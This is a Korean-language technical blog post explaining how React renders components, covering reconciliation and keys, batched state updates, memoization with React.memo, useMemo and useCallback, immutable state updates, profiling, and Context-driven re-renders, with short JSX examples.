[재조정 페이지에 언급되어 있는 것](https://reactjs.org/docs/reconciliation.html#elements-of-different-types) 처럼, 리액트는 기존 컴포넌트 트리와 DOM 구조를 가능한 많이 재사용함으로써 리렌더링의 효율성을 추구한다. 동일한 유형의 컴포넌트, 또는 HTML 노드를 트리의 동일한 위치에 렌더링하도록 리액트에 요청하게 되면, 리액트는 해당 컴포넌트 또는 HTML 노드를 만드는 대신에 해당 업데이트만 적용한다. 즉, 리액트에 해당 컴포넌트 타입을 같은 위치에 렌더링 하도록 계속 요청이 있다면, 리액트는 계속 컴포넌트의 인스턴스를 유지한다는 뜻이다. 클래스 컴포넌트의 경우, 실제 컴포넌트의 실제 인스턴스와 동일한 인스턴스를 사용한다. 함수형 컴포넌트는, 클래스와 같은 느낌의 인스턴스는 없지만, `<MyFunctionComponent />` 가 보여지고 활성화 상태로 유지되고 있다는 관점에서 인스턴스를 나타내는 것으로 볼수도 있다.

그렇다면, 리액트는 어떻게 결과물이 실제로 변경된 시기와 방법을 알 수 있을까?

리액트 렌더링 로직은 elements를 그들의 `type` 필드를 기준으로 먼저 비교하는데, 이 때 `===`를 사용한다. 만약 지정된 element가 `<div>`에서 `<span>`으로, 또는 `<ComponentA />`에서 `<ComponentB />`로 변경된 경우, 전체 트리가 변경되었다고 가정하여 비교 프로세스의 속도를 높인다. 결과적으로 리액트는 모든 DOM노드를 포함한 기존 컴포넌트 트리를 삭제하고 새로운 컴포넌트 인스턴스를 처음부터 다시 만든다.

즉, 렌더링 동안에는 절대로 새로운 컴포넌트 타입을 만들어서는 안된다. 새로운 컴포넌트 타입을 만들다면, 이는 참조가 다르고, 이는 리액트가 하위 컴포넌트 트리를 모두 파괴하고 새로운 트리를 만들게 된다.

코드로 설명하자면,

```jsx
function ParentComponent() {
  // 이는 매번 새로운 컴포넌트 참조를 만들게 된다.
  function ChildComponent() {}

  return <ChildComponent />
}
```

대신에

```jsx
// 컴포넌트 타입 참조가 한번 딱 만들어진다.

function ChildComponent() {}

function ParentComponent() {
  return <ChildComponent />
}
```

를 사용하자.

### `key`와 `Reconciliation`

또한가지, 리액트가 컴포넌트 인스턴스를 식별하는 방법으로 `key` prop이 있다. `key`는 실제 컴포넌트로 전달되는 요소는 아니다. 리액트는 이를 활용해 컴포넌트 타입의 특정 인스턴스를 구별하는데 사용할 수 있는 고유한 식별자로 사용한다.

아마도 `key`를 가장 많이 사용하는 경우는 리스트를 렌더링 할 때 일 것이다. `key`는 목록의 순서변경, 추가, 삭제와 같은 방식으로 변경될 수 있는 데이터를 렌더링하는 경우에 매우 중요하다. **여기서 중요하다는 것은 고유한 값을 사용해야 한다는 것이다. 고유한 값을 사용할 수 없는 최후의 수단으로, 배열의 인덱스를 사용해야 한다.**

왜 중요한지 한번 살펴보자. `<TodoListItem />` 컴포넌트 10개를 렌더링하고, 이를 키로 index를 사용하여 `0..9`를 할당했다. 이제, `6`, `7`을 지우고, 새롭게 3개를 추가해서 이제 키가 `0..10`이 되었다. 리액트는 이 때 단순히 하나만 추가하고 마는데, 리액트가 보기엔 10개에서 11개로 늘어난 차이밖에 없기 때문이다. 리액트는 이제 기존에 있던 컴포넌트와 DOM 노드를 재활용할 것이다. 그러나 이 뜻은, `<TodoListItem key={6} />`가 8로 넘겨받은 props를 사용하여 렌더링 할 것이다. 컴포넌트 인스턴스는 살아있지만, 이전과 다른 데이터 객체를 기반으로 하고 있다. 이는 효과가 있을 수도 있지만, 예기치 못한 문제가 발생할 수 있다. 또한 기존 목록의 아이템이 이전과 다른 데이터를 표시해야 하기 때문에, 리액트는 텍스트와 다른 DOM내용을 변경하기 위해 목록의 아이템중 몇개에 업데이트를 적용해야 한다. 그러나, 목록의 아이템이 사실상 변한 것이 아니므로 업데이트가 필요하지 않는 것으로 간주된다.

대신에 `key={todo.id}`와 같은 것으로 처리했다면, 리액트는 올바르게 2개의 아이템을 지우고 3개를 추가할 것이다. 이는 두개의 컴포넌트 인스턴스와 DOM노드를 지우고, 새롭게 3개의 컴포넌트 인스턴스, DOM노드를 만드는 것을 의미한다.

`key`는 리스트에 있는 컴포넌트의 인스턴스를 식별하는데 유용하다. **어떤 리액트 컴포넌트에든 `key`를 추가하여 식별자를 부여할 수 있고, `key`를 변경하는 것은 리액트가 오래된 컴포넌트 인스턴스를 없애고, 새로운 DOM을 만든다는 것을 의미한다.** 일반적인 유즈케이스는 앞서 언급한 리스트의 경우이다. `<Form key={selectedItem.id}>`을 렌더링하면 선택한 항목이 변경될 때 리액트가 form을 삭제하고 다시 생성하므로, form의 오래된 상태 문제를 방지할 수도 있다.

### 렌더링 배치와 타이밍

기본적으로, `setState()`를 호출하는 것은 리액트가 새로운 렌더링 패스를 시작한다는 뜻이고, 이는 동기적으로 실행되어 리턴된다. 이에 추가적으로, 리액트는 렌더링 배치 형태의 최적화를 자동으로 실행한다. 여기서 말하는 렌더링 배치란, `setState()`에 대한 여러 호출로 인해 하나의 렌더 패스가 대기열에 저장되어 실행되는 것을 말하며, 일반적으로 약간의 지연이 발생한다.

[리액트 문서에서 언급하는 것 중 하나는 `state` 업데이트는 비동기 적일 수 있다는 사실](https://reactjs.org/docs/state-and-lifecycle.html#state-updates-may-be-asynchronous)이다. 특히 리액트는 리액트 이벤트 핸들러에서 발생하는 상태 업데이트를 자동으로 일괄적으로 처리한다. 리액트 이벤트 핸들러는, 일반적인 리액트 애플리케이션에서 매우 큰부분을 차지하기 때문에, 이는 주어진 앱의 대부분의 상태 업데이트가 실제로 일괄적으로 처리된다는 것을 의미한다.

리액트는 이벤트 핸들러를 `instability_batchedUpdates` 라고 하는 내부 함수로 래핑하여 이벤트 핸들러를 렌더링 한다. 리액트는 `instability_batchedUpdates`가 실행중일 때, 대기중인 모든 상태 업데이트를 추적한 다음에, 단일 렌더링 경로로 적용한다. 리액트는 지정된 이벤트에 대해서 어떤 핸들러를 호출해야하는지 이미 정확하게 알고 있기 때문에, 이벤트 핸들러에서 사용하는 이방법은 매우 잘 먹힌다.

개념적으로, 리액트가 내부적으로 하는 일을 다음과 같은 의사 코드로 상상해볼 수 있다.

```javascript
// 진짜 이렇게 코드가 돌아간다는 건 아님
function internalHandleEvent(e) {
  const userProvidedEventHandler = findEventHandler(e)

  let batchedUpdates = []

  unstable_batchedUpdates(() => {
    // 이 안에 대기중인 모든 업데이트가 일괄 처리된 업데이트로 푸쉬될 것이다
    userProvidedEventHandler(e)
  })

  renderWithQueuedStateUpdates(batchedUpdates)
}
```

그러나 이는 실제 즉시 콜스택 외부에 대기중인 상태 업데이트와 함께 배치되지 않는 다는 것을 의미한다. 아래 예제를 살펴보자.

```javascript
const [counter, setCounter] = useState(0)

const onClick = async () => {
  setCounter(0)
  setCounter(1)

  const data = await fetchSomeData()

  setCounter(2)
  setCounter(3)
}
```

이는 세개의 렌더링 패스를 실행할 것이다. 먼저 `setCounter(0)` `setCounter(1)`를 함께 배치할 것이다. 이는 둘다 원래 이벤트 핸들러의 콜 스택 중에 발생하므로, 둘다 `unstable_batchedUpdates`의 호출 내에서 발생할 것이기 때문이다.

그러나 `setCounter(2)`는 `await` 이후에 실행된다. 즉 원래 동기식 콜 스택이 완료되고, 이 함수의 후반부는 완전히 다른 이벤트 루프 콜 스택에서 훨씬 나중에 실행될 것이다. 그 때문에, 리액트는 전체 렌더링 패스를 `setCounter(2)` 호출의 마지막 단계로 동기적으로 실행하고, 렌더링 패스를 완료 한 이후에, `setCounter(2)`에서 리턴할 것이다. 이와 유사한 동작이 `setCounter(3)`에서도 마찬가지 형태로 일어날 것이다.

커밋단계의 라이프사이클 메소드에는 `componentDidMount` `componentDidUpdate` `useLayoutEffect`와 같은 몇가지 추가 적인 엣지 케이스가 존재한다. 이는 주로 브라우저가 페인팅을 하기전에 렌더링 후 추가 로직을 수행할 수 있도록 하기 위해 존재한다. 일반적인 사용사례는 다음과 같다.

- 불완전한 일부 데이터로 컴포넌트를 최초 렌더링
- 커밋 단계 라이프 사이클에서, DOM 노드의 실제 크기를 `ref`를 통해 측정하고자 할 때
- 해당 측정을 기준으로 일부 컴포넌트의 상태 설정
- 업데이트된 데이터를 기준으로 즉시 리렌더링

이러한 사용사례에서, 초기의 부분 렌더링된 UI가 사용자에게 절대로 표시되지 않도록 하고, 최종 UI 만 나타날 수 있게 한다. 브라우저는 수정중인 DOM 구조를 다시 계산하지 자바스크립트는 여전히 실행중이고,이벤트 루프를 차단하는 동안에는 실제로 화면에 아무것도 페인팅하지 않는다. 그러므로, `div.innerHTML = "a"`, `div.innerHTML="b"`와 같은 작업을 수행하면 `a`는 나타나지 않고 `b`만 나타날 것이다.

이 때문에 리액트는 항상 커밋 단계 라이프사이클에서 렌더링을 동기로 실행한다. 이렇게 하면 부분적인 렌더링을 무시하고 최동 단계의 렌더링 내용만 화면에 표시할 수 있다.

마지막으로, 모든 `useEffect` 콜백이 완료되면 `useEffect` 콜백의 상태 업데이트가 대기열에 저장되고, `Passive Effects` 단계가 끝나면 플러시된다.

`unstable_batchedUpdates`API가 public 하게 export 되는 것에 주목할 필요가 있다. 그러나

- 이름에서 알 수 있듯이, `불안정`으로 표시되고, React API에서 공식으로 지원하는 부분은 아니다.
- 그러나 리액트 팀은 `불안정`한 api 치고는 가장 안전적이며, 페이스북의 코드 절반이 이에 의존하고 있다고 이야기 했다.
- `react` 패키지에서 export 되는 다른 React의 핵심 API와는 다르게, `unstable_batchedUpdates`는 reconciler에 특화된 API로 리액트 패키지의 일부가 아니다. 대신에, 이는 `react-dom` `react-native`에서 export 된다. 즉, `react-three-fiber`나 `ink`와 같은 다른 reconciler와는 다르게 `unstable_batchedUpdates`를 export 하지 않을 가능성이 크다.

리액트 18에서 소개된 Concurrent 모드에서는, 리액트는 모든 업데이트를 배치로 실행한다.

> 리액트 18에서는 이러한 배치 작업이 많이 달라졌으니, 살펴보는 것이 좋다. [Automatic Batching에 대하여 알아보기](/2022/04/react-18-changelog#automatic-batching)

### 렌더 동작의 엣지 케이스

리액트에서 개발중인 `<StrictMode >` 태그 내부에서는 컴포넌트를 이중으로 렌더링 한다. 즉, 렌더링 로직이 실행되는 횟수가 커밋된 렌더링 패스의 횟수와 동일하지 않으며, 렌더링을 수행하는 동안 `console.log()`문에 의존하여 발생한 렌더링의 수를 셀 수 없다. 대신 `React DevTools Profiler`를 사용하여 추적을 캡쳐하고, 전체적으로 커밋된 렌더링 갯수를 세거나, `useEffect` 훅 또는 `componentDidMount` `componentDidUpdate` 라이프 사이클에서 로깅을 추가하는 방법을 사용해야 한다. 이렇게 하면 실제로 렌더링 패스를 완료하고 이를 커밋한 경우에만 로그가 찍힌다.

정상적인 상황에서는 절대로 실제 렌더링 로직에서 상태 업데이트를 대기열에 넣어서는 안된다. 즉, 클릭이 발생할 때 `setState()`를 호출하는 콜백을 사용하는 것은 괜찮지만, 실제 렌더링 동작의 일부로 `setState()`를 호출하는 것은 안된다.

그러나 여기에는 한가지 예외가 있다. 함수 컴포넌트는 렌더링하는 동안 `setState()`를 직접호출할 수 있지만, 이는 조건부로 수행되고 컴포넌트가 렌더링될 때 마다 실행되지 않는다. 이것은 클래스 컴포넌트의 `getDerivedStateFromProps`와 동등하게 작동한다. 렌더링 하는 동안 함수 컴포넌트가 상태 업데이트를 대기열에 밀어 넣어두면, 리액트는 즉시 상태 업데이트를 적용하고 해당 컴포넌트 중 하나를 동기화 하여 다시 렌더링 한 후 계속 진행한다. 컴포넌트가 상태 업데이트를 무한하게 queueing하고 리액트가 다시 렌더링을 하도록 강제하는 경우, 리액트는 최대 50회까지 만 실행한 후에 이 무한반복을 끊어버리고 오류를 발생 시킨다. 이 기법은 `useEffect` 내부에 `setState()`호출과 리렌더링을 하지 않고 prop 값을 기준으로 state의 값을 강제로 업데이트 할 때 사용할 수 있다.

```jsx
function ScrollView({row}) {
  const [isScrollingDown, setIsScrollingDown] = useState(false)
  const [prevRow, setPrevRow] = useState(null)

  // 조건부로 prop 값을 기준으로 바로 state를 업데이트 때릴 수 있음
  if (row !== prevRow) {
    setIsScrollingDown(prevRow !== null && row > prevRow)
    setPrevRow(row)
  }

  return `Scrolling down: ${isScrollingDown}`
}
```

## 렌더링 성능 향상시키기

렌더링은 리액트의 동작 방식에서 일반적으로 예상할 수 있는 부분이지만, 렌더링 작업이 때때로 낭비될 수 있다는 것도 사실이다. 컴포넌트의 렌더링 출력이 변경되지 않았고, DOM의 해당 부분을 업데이트할 필요가 없다면 해당 컴포넌트를 렌더링 태우는 것은 정말로 시간낭비다.

리액트 컴포넌트 렌더링 결과물은 항상 현재 props와 state의 상태를 기반으로 결정되어야 한다. 따라서 props와 state가 변경되지 않았음을 미리 알고 있다면 렌더링 결과물은 동일 할 것이고, 이 컴포넌트에 대해 변경이 필요하지 않고 렌더링 작업을 건너 뛸 수 도 있다는 것에 대해서도 알아야 한다.

일반적으로 소프트웨어 성능을 개선하는 건 두가지 접근법이 존재한다.

- 동일한 작업을 가능한 더 빨리 수행하는 것
- 더 적게 작업하는 것

리액트에서 렌더링을 최적화하는 것은 주로 컴포넌트 렌더링을 적절하게 건너뛰어서 작업량을 줄이는 것이다.

### 컴포넌트 렌더링 최적화 기법

리액트는 컴포넌트 렌더링을 생략할 수 있는 세가지 API를 제공한다.

- [React.Component.shouldComponentUpdate](https://reactjs.org/docs/react-component.html#shouldcomponentupdate): 클래스 컴포넌트의 옵셔널 라이프 사이클 메소드로, false를 리턴하면 리액트는 컴포넌트 렌더링을 건너뛴다. 이 메소드 내부에는 `boolean`을 리턴할 어떤 로직이든 집어넣을 수 있지만, 가장 일반적인 방법은 컴포넌트의 prop와 state가 변경되었는지 확인하고, 변경되지 않았을 때 false를 리턴하는 것이다.
- [React.PureComponent](https://reactjs.org/docs/react-api.html#reactpurecomponent): `shouldComponentUpdate`를 구현할때 props와 state를 비교하는 것이 가장 일반적인 방법이므로, `PureComponent` 를 base class로 구현하면 `Component` + `shouldComponentUpdate`를 사용하는 것과 같은 효과를 볼 수 있다.
- [React.Memo()](https://reactjs.org/docs/react-api.html#reactmemo): 내장 고차 컴포넌트 타입으로, 컴포넌트 타입을 인수로 받고, 새롭게 래핑된 컴포넌트를 리턴된다. 래퍼 컴포넌트의 기본 동작은 `props`의 변경이 있는지 확인하고, 변경된 `props`가 없다면 다시 렌더링 하지 못하게 하는 것이다. 함수 컴포넌트와 클래스 컴포넌트는 모두 이 것을 사용하여 래핑 할 수 있다.

이 모든 기법은 `shallow equality (얕은 비교)`를 사용한다. 즉 서로 다른 객체에 있는 모든 개별 필드를 검사하여 객체의 내용이 같은지 다른지 확인한다. 다시말해, `obj1.a === obj2.a && obj1.b === obj2.b && ........`를 수행하는 것이다. 이는 자바스크립트 엔진에서 매우 간단한 작업인 `===`를 사용하므로 매우 빠르게 끝난다. 그러므로, 세가지 방법은 모두 같은 방법론을 사용하는 것이다. `const shouldRender = !shallowEqual(newProps, prevProps)`

여기에 잘 알려지지 않은 기법도 하나 더 있다. 리액트 컴포넌트가 렌더링 결과물을 지난번과 정확히 동일한 참조를 반환한다면, 리액트는 해당 하위 컴포넌트를 렌더링하는 것을 건너 뛴다. 이 기술을 구현하는 방법은 대략 두가지 정도가 있다.

- 결과물에 `props.children`이 있다면, 이 컴포넌트가 상태 업데이트를 수행해도 element는 동일할 것이다.
- 일부 Element를 `useMemo()`로 감싸면, 종속성이 변경될 때 까지 동일하게 유지된다.

아래 코드를 살펴보자.

```jsx
// 상태가 업데이트되도 props.children은 다시렌더링 되지 않는다.
function SomeProvider({children}) {
  const [counter, setCounter] = useState(0)

  return (
    <div>
      <button onClick={() => setCounter(counter + 1)}>Count: {counter}</button>
      <OtherChildComponent />
      {children}
    </div>
  )
}

function OptimizedParent() {
  const [counter1, setCounter1] = useState(0)
  const [counter2, setCounter2] = useState(0)

  const memoizedElement = useMemo(() => {
    // counter2가 업데이트되도 같은 참조를 반환하므로, counter1이 변경되지 않는 한 같은 참조를 리턴할 것이다.
    return <ExpensiveChildComponent />
  }, [counter1])

  return (
    <div>
      <button onClick={() => setCounter1(counter1 + 1)}>
        Counter 1: {counter1}
      </button>
      <button onClick={() => setCounter1(counter2 + 1)}>
        Counter 2: {counter2}
      </button>
      {memoizedElement}
    </div>
  )
}
```

이러한 모든 기법들에서, 컴포넌트 렌더링을 건너뛰면 리액트는 마찬가지로 하위 트리의 전체 렌더링을 건너뛰어 이는 "재귀적으로 자식을 렌더링" 하는 동작을 중지하게 된다.

### 새로운 props의 참조가 렌더링 최적화에 어떻게 영향을 미치는가?

앞서 보았듯이, **기본적으로 리액트는 중첩된 컴포넌트의 props가 변경되지 않았더라도 다시 렌더링을 수행한다.** 이는 하위 컴포넌트에 새로운 참조를 props로 전달하는 것 또한 문제가 되지 않는다는 것을 의미한다. 왜냐하면 같은 props가 오던 상관없이 렌더링을 할 것이기 때문이다. 아래 예제를 살펴보자.

```jsx
// ParentComponent가 렌더링될때마다, 하위 자식 컴포넌트의 props는 변경되지 않았지만 그것과 상관없이 계속 리렌더링 된다.
function ParentComponent() {
  const onClick = () => {
    console.log('Button clicked')
  }

  const data = {a: 1, b: 2}

  return <NormalChildComponent onClick={onClick} data={data} />
}
```

`ParentComponent`가 매번 렌더링 될 때 마다, 매번 새로운 `onClick` 함수의 참조와 새로운 `data` 객체 참조를 만들어서, 이를 props로 자식 컴포넌트에 넘겨줄 것이다. (함수가 화살표건 일반 함수건, 어쨌거나 새로운 함수 참조가 생긴다는 사실에는 변함이 없다.)

이는 또한 `<div/>`나 `<button/>`를 `React.memo()`래핑하는 것 처럼, 호스트 컴포넌트에 대해 렌더링을 최적화 하는 것이 별 의미가 없다는 것을 뜻한다. 이러하나 기본 컴포넌트 하위에 하위 컴포넌트가 없으므로 렌더링 프로세스는 여기서 중지되버리고 말 것이다.

하지만, **하위 컴포넌트가 props가 변경되었는지 확인하여 렌더링을 최적화 하려는 경우, 새 props를 전달하면 하위 컴포넌트가 렌더링을 수행하게 된다.** 새 prop 참조가 실제로 새로운 데이터인 경우에 이방법이 유용하다. 그러나 상위 컴포넌트가 단순히 콜백 함수를 전달하는 수준이면 어떻게 될까?

```jsx
const MemoizedChildComponent = React.memo(ChildComponent)

function ParentComponent() {
  const onClick = () => {
    console.log('Button clicked')
  }

  const data = {a: 1, b: 2}

  return <MemoizedChildComponent onClick={onClick} data={data} />
}
```

이제, `ParentComponent`가 렌더링 될 때 마다 `MemoizedChildComponent`는 해당 props 가 새로운 참조로 변경되었음을 확인하고 다시 렌더링을 수행한다. `onClick` 함수와 데이터 객체의 값이 변하지 않았음에도!

이러한 과정을 요약하자면

- `MemoizedChildComponent`는 렌더링을 건너뛰고 싶었지만, 항상 다시 렌더링 될 것이다.
- 새로운 참조가 계속해서 생기기 때문에 `props`의 변화를 비교하는 것은 무의미한 일이다.

비슷하게,

```jsx
function Component() {
  return (
    <MemoizedChild>
      <OtherComponent />
    </MemoizedChild>
  )
}
```

도, `props.children`이 항상 새로운 참조를 가리키기 때문에 항상 자식 컴포넌트를 새로 렌더링 할 것이다.

### props 참조를 최적화하기

클래스 컴포넌트는 항상 동일한 참조인 인스턴스 메소드를 가질 수 있기 때문에, 실수로 새 콜백 함수 참조를 만들어 버릴 걱정을 크게 할 필요는 없다. 그러나 별도의 자손 아이템에 유니크한 콜백을 생성하거나, 익명 함수의 값을 캡쳐하여 자식에게 전달하는 경우가 있을 수 있다. 이 경우 새로운 참조가 생성되고, 렌더링하는 동안 하위 props으로 새로운 객체가 만들어져 전달 될 수 있다. 애석하게도 리액트는 이러한 경우를 최적화하는데 도움이 되는 기능이 없다.

함수 컴포넌트의 경우, 리액트는 동일한 참조를 재사용하는데 도움이 되는 두가지 훅이 있다. 객체 생성이나 복잡한 계산과 같은 모든 종류의 일반 데이터에 `useMemo`를 사용하거나, 콜백 함수를 만들 때는 `useCallback`을 사용한다.

### 그냥.. 다 메모이제이션 해버리는건 어떨까?

> 이 글의 포인트를 돌고 돌아 여기에서 ...

위에서 언급했던 것 처럼, 모든 함수와 값을 `useMemo` `useCallback`으로 감싸서 사용할 필요는 없다. 이러한 처리는 단지 자식 컴포넌트의 동작에 변화를 만들 뿐이다. (즉, `useEffect`에 대한 의존성 배열 비교는 자식이 일관된 props 참조를 받기 원하는 경우를 만듦으로써, 상황이 더욱 복잡해 질 수 있다.)

또 다른 질문은 왜 리액트가 기본적으로 모든 것을 `memo`로 감싸지 않았냐는 것이다.

**Dan Abramov가 계속해서 지적하는 것은 props을 비교하는 것은 공짜가 아니라는 것이다.** 그리고 컴포넌트가 항상 새로운 `props`를 받기 때문에 메모이션으로 체크한다고 리렌더링을 막을 수 없는 상황 또한 존재한다.

> Shallow comparisons aren’t free. They’re O(prop count). And they only buy something if it bails out. All comparisons where we end up re-rendering are wasted. Why would you expect always comparing to be faster? Considering many components always get different props. - [twitter](https://twitter.com/dan_abramov/status/1095661142477811717)

그럼에도, 개인적으로는 `React.Memo`를 사용하는 것이 전반적인 앱 렌더링 성능에서 순이익이 될 가능성이 높다고 생각한다.

리액트는 완전히 렌더링을 기반으로 한다. 무엇이든 하려면 렌더링을 해야 한다. 그리고 대부분의 렌더링은 그렇게 비싸지 않다.

낭비되고 있는 리렌더링을 줄이는 것 만이 능사는 아니다. 전체 앱을 다시 렌더링 하는 일도 잦지 않다. DOM 업데이트가 없는 낭비되고 있는 리렌더링은 CPU를 그렇게 혹사시키지 않는다. 이 것이 대부분의 앱에서 문제가 되고 있는가? 그렇지 않을 것이다. 이 것이 무언가 더 나아질 가능성이 있는가? 그럴 것이다.

개발자가 기본적으로 모든 내용을 `Memo()`로 감싸야 할까? 그렇게 하면 정말로 성능에 악영향을 미칠까? 그렇지 않다. 비교에 따르는 앱 성능 낭비가 있을 수도 있지만, 순이익이 존재할 수도 있다.

이와 관련된 흥미로운 이슈가 리액트 저장소에 존재한다. [When should you NOT use React Memo?](https://github.com/facebook/react/issues/14463)

> 메모이제이션을 언제 해야하는지, 그냥 모든 것을 메모이제이션 하는게 정말 나쁜 것인지 에 대한 논의가 활발하게 진행 되고 있는 것 같다. 이에 대해서는 이후 포스팅에서 좀더 다뤄보려고 한다.

### 불변성과 렌더링

**리액트의 상태 업데이트는 항상 불변적으로 수행되어야 한다.** 그 이유는 두가지가 있다.

- mutate한 값의 대상과 위치에 따라 컴포넌트가 렌더링 되지 않을 수 있다.
- 데이터가 실제로 업데이트 된 시기와 이유에 대해 혼란을 겪을 수 있다.

몇 가지 구체적인 예제를 살펴보자.

앞서 보았던 것 처럼, `React.memo` `PureComponent` `shouldComponentUpdate`는 얕은 비교를 기반으로 이전과 이후의 `prop` 값을 비교한다. `props.value !== prevProps.newValue`로 비교할 것이다.

만약 값의 불변성을 지키지 않았을 경우, `someValue`는 같은 참조를 가지고 있기 때문에 컴포넌트는 아무것도 변경되지 않았다고 생각할 것이다.

불필요한 리렌더링을 방지하여 성능을 최적화해야 한다는 것을 인지해야 한다. props가 변경되지 않은 경우 렌더링은 불필요하거나 낭비일 뿐이다. mutate 한 값을 사용하면, 컴포넌트가 아무것도 변하지 않았다고 잘못생각할 수 있으며, 개발자는 컴포넌트가 다시 렌더링 되지 않은 이유에 대해서 헷갈릴 수 있다.

또다른 문제는 `useState`와 `useReducer` 훅이다. `setCounter()`나 `dispatch()`가 호출될 때 마다, 리액트는 리렌더링을 큐에 밀어넣을 것이다. 그러나 리액트는 모든 훅의 상태 업데이트에 새 객체/배열의 참조이거나, 새 원시(문자열, 숫자.. 등)로 전달, 반환해야 한다.

리액트는 렌더링 단계 동안 모든 상태 업데이트를 적용한다. 리액트는 훅에서 상태 업데이트를 적용하려고 하면, 새 값이 동일한 참조인지 확인한다. 리액트는 항상 업데이트 대기열에 있는 컴포넌트 렌더링을 끝낸다. 그러나 이전과 값이 동일한 참조이고, 렌더링을 해야하는 다른 이유가 없다면 (부모 컴포넌트의 리렌더링 등) 리액트는 컴포넌트에 대한 렌더링 결과를 버리고 렌더링 패스를 벗어난다.

```javascript
const [todos, setTodos] = useState(someTodosArray)

const onClick = () => {
  todos[3].completed = true
  setTodos(todos)
}
```

이는 컴포넌트 리렌더링에 실패한다.

기술적으로, 가장 바깥쪽 참조만 반드시 업데이트 해야 한다.

```javascript
const onClick = () => {
  const newTodos = todos.slice()
  newTodos[3].completed = true
  setTodos(newTodos)
}
```

이렇게 하면 새로운 바열 객체를 넘겨줄 수 있고, 컴포넌트는 반드시 리렌더링 될 것이다.

한가지 알아둬야 할 것은, 클래스 컴포넌트와 함수형 컴포넌트 사이엔 동작에 뚜렷한 차이가 있다는 것이다. 클래스 컴포넌트의 `this.setState()`을, 함수형 컴포넌트의 `useState` `useReducer` 훅을 사용한단 것이다. `this.setState()`는 값이 불변이 아니어도 된다. 항상 리렌더링을 한다.

```javascript
const {todos} = this.state
todos[3].completed = true
this.setState({todos})
```

사실 이는 빈객체를 넘겨주는 것과 다를게 없다.

모든 실제 렌더링 동작의 이면에는, 불변하지 않은 값은 리액트의 단방향 데이터 플로우에 혼란을 야기한다. 불변하지 않은 값은 코드로 하여금 다른 값을 보게 하는데, 기대와는 다르게 동작할 가능성이 크다. 이로 인해 특정 상태가 실제로 업데이트 되어야 하는 시기와 이유, 또 변경사항이 어디에서 발생했는지 알기 어려워진다.

다시한번 정리하면, **리액트, 그리고 리액트의 에코시스템에서는 모든 것이 불변한 update로 간주된다. 불변하지 않은 값은 버그를 유발할 수 있다.**

### 리액트 컴포넌트 렌더링 성능 측정하기

[React DevTools Profiler](https://reactjs.org/blog/2018/09/10/introducing-the-react-profiler.html)를 활용하여 어떤 컴포넌트가 각 커밋 마다 렌더링되는지 살펴보자. 예기치 못하게 리렌더링 되는 컴포넌트를 찾아서 왜 리렌더링 되었는지, 그리고 어떻게 고칠 수 있는지 확인 해보자. (`React.memo()`로 감싸거나, 부모 컴포넌트가 넘겨주는 `props`를 메모이즈 하는 등의 방법이 있을 수 있다.)

또한, 리액트는 dev build에서 느리게 실행된다는 점을 기억해야 한다. development 모드에서는 어떤 컴포넌트가 왜 렌더링 되었는지 살펴보고, 컴포넌트가 렌더링되는데 소요되는 시간등을 비교할 수 있다. **그러나 절대 리액트 development 모드로 렌더링 속도를 측정하서는 안된다. 반드시 프로덕션 빌드로 렌더링 속도를 측정해야 한다.**

## 컨텍스트(Context)와 렌더링 동작

리액트의 `Context API`는 주어진 `<MyContext.Provider/>` 내에 모든 하위 컴포넌트에서 단일한 사용자 지정 값을 사용하라 수 있도록 하는 메커니즘이다. 이를 사용하면, `prop`을 번거롭게 넘길 필요 없이 하위 컴포넌트에서 값을 사용할 수 있다.

**Context API는 절대 상태관리 도구가 아니다** 상황에 맞게 전달되는 값을 직접 관리 해야 한다. 이는 일반적으로 리액트 컴포넌트 state 내부의 값을 유지하고, 해당 데이터를 기반으로 context 값을 만드는 데 사용된다.

### Context API 기초

Context provider는 `<MyContext.Provider value={42}>`와 같은 형태로 `value` prop을 받는다. 자식 컴포넌트는 컨텍스트 consumer를 렌더링하고 prop을 전달받음으로서 해당 값을 사용할 수 있다.

```jsx
<MyContext.Consumer>{(value) => <div>{value}</div>}</MyContext.Consumer>
```

`useContext()`를 사용하면 다음과 같이 쓸 수 있다.

```javascript
const value = useContext(MyContext)
```

### Context 값 업데이트

리액트는 감싸져 있는 컴포넌트가 provider를 렌더링 할 때, 컨텍스트 provider에 새로운 값이 지정되어 있는지 확인한다. 만약 해당 값이 새로운 참조인 경우, 리액트는 값이 변경되었으며 해당 컨텍스트를 사용하는 컴포넌트를 업데이트 해야 한다는 사실을 알게 된다.

이제 컨텍스트 provider에 새로운 값을 전달하면 다음과 같이 업데이트가 진행된다.

```jsx
function GrandchildComponent() {
  const value = useContext(MyContext)
  return <div>{value.a}</div>
}

function ChildComponent() {
  return <GrandchildComponent />
}

function ParentComponent() {
  const [a, setA] = useState(0)
  const [b, setB] = useState('text')

  const contextValue = {a, b}

  return (
    <MyContext.Provider value={contextValue}>
      <ChildComponent />
    </MyContext.Provider>
  )
}
```

위 예제에서, `ParentComponent`가 렌더링 될 때 마다 리액트는 해당 값을 `MyContext.Provider`에 기록하고, 아래로 루프를 돌면서 `MyContext`를 사용하는 컴포넌트를 찾는다. Context Provider에 새로운 값이 있다면, 해당 컨텍스트를 사용하는 모든 중첩 컴포넌트가 강제로 리렌더링 된다.

리액트 관점에서 각 Context Provider는 단일 값만 가진다. 객체, 배열, 원시 값이든 상관 없이 하나의 컨텍스트 값일 뿐이다. **현재로서는 해당 컨텍스트를 사용하는 모든 컴포넌트는 새 값의 일부만 변경되었다 하더라도, 새 컨텍스트 값으로 인한 업데이트를 건너 뛸 수 없다.**

> [Code Sandbox에서 직접 해보기](https://codesandbox.io/s/contextapi-rendering-036kzb?file=/src/App.js)

### state 업데이트, 컨텍스트, 그리고 리렌더링

앞서 이야기 했던 내용을 종합해보자.

- `setState()`를 호출하면 컴포넌트 렌더링을 큐에 집어넣는다.
- 리액트는 재귀적으로 하위 컴포넌트를 렌더링한다.
- Context provider는 컴포넌트에 의해 렌더링해야할 값을 받는다.
- 위에서 언급했던 값은 보통 부모 컴포넌트의 state에 기반한다.

이 말인 즉슨, 기본적으로 Context Provider를 구성하는 상위 컴포넌트에 대한 state 업데이트는 모든 하위 항목이 해당 Context 값을 읽는지 여부에 상관없이 다시 렌더링 되도록 한다.

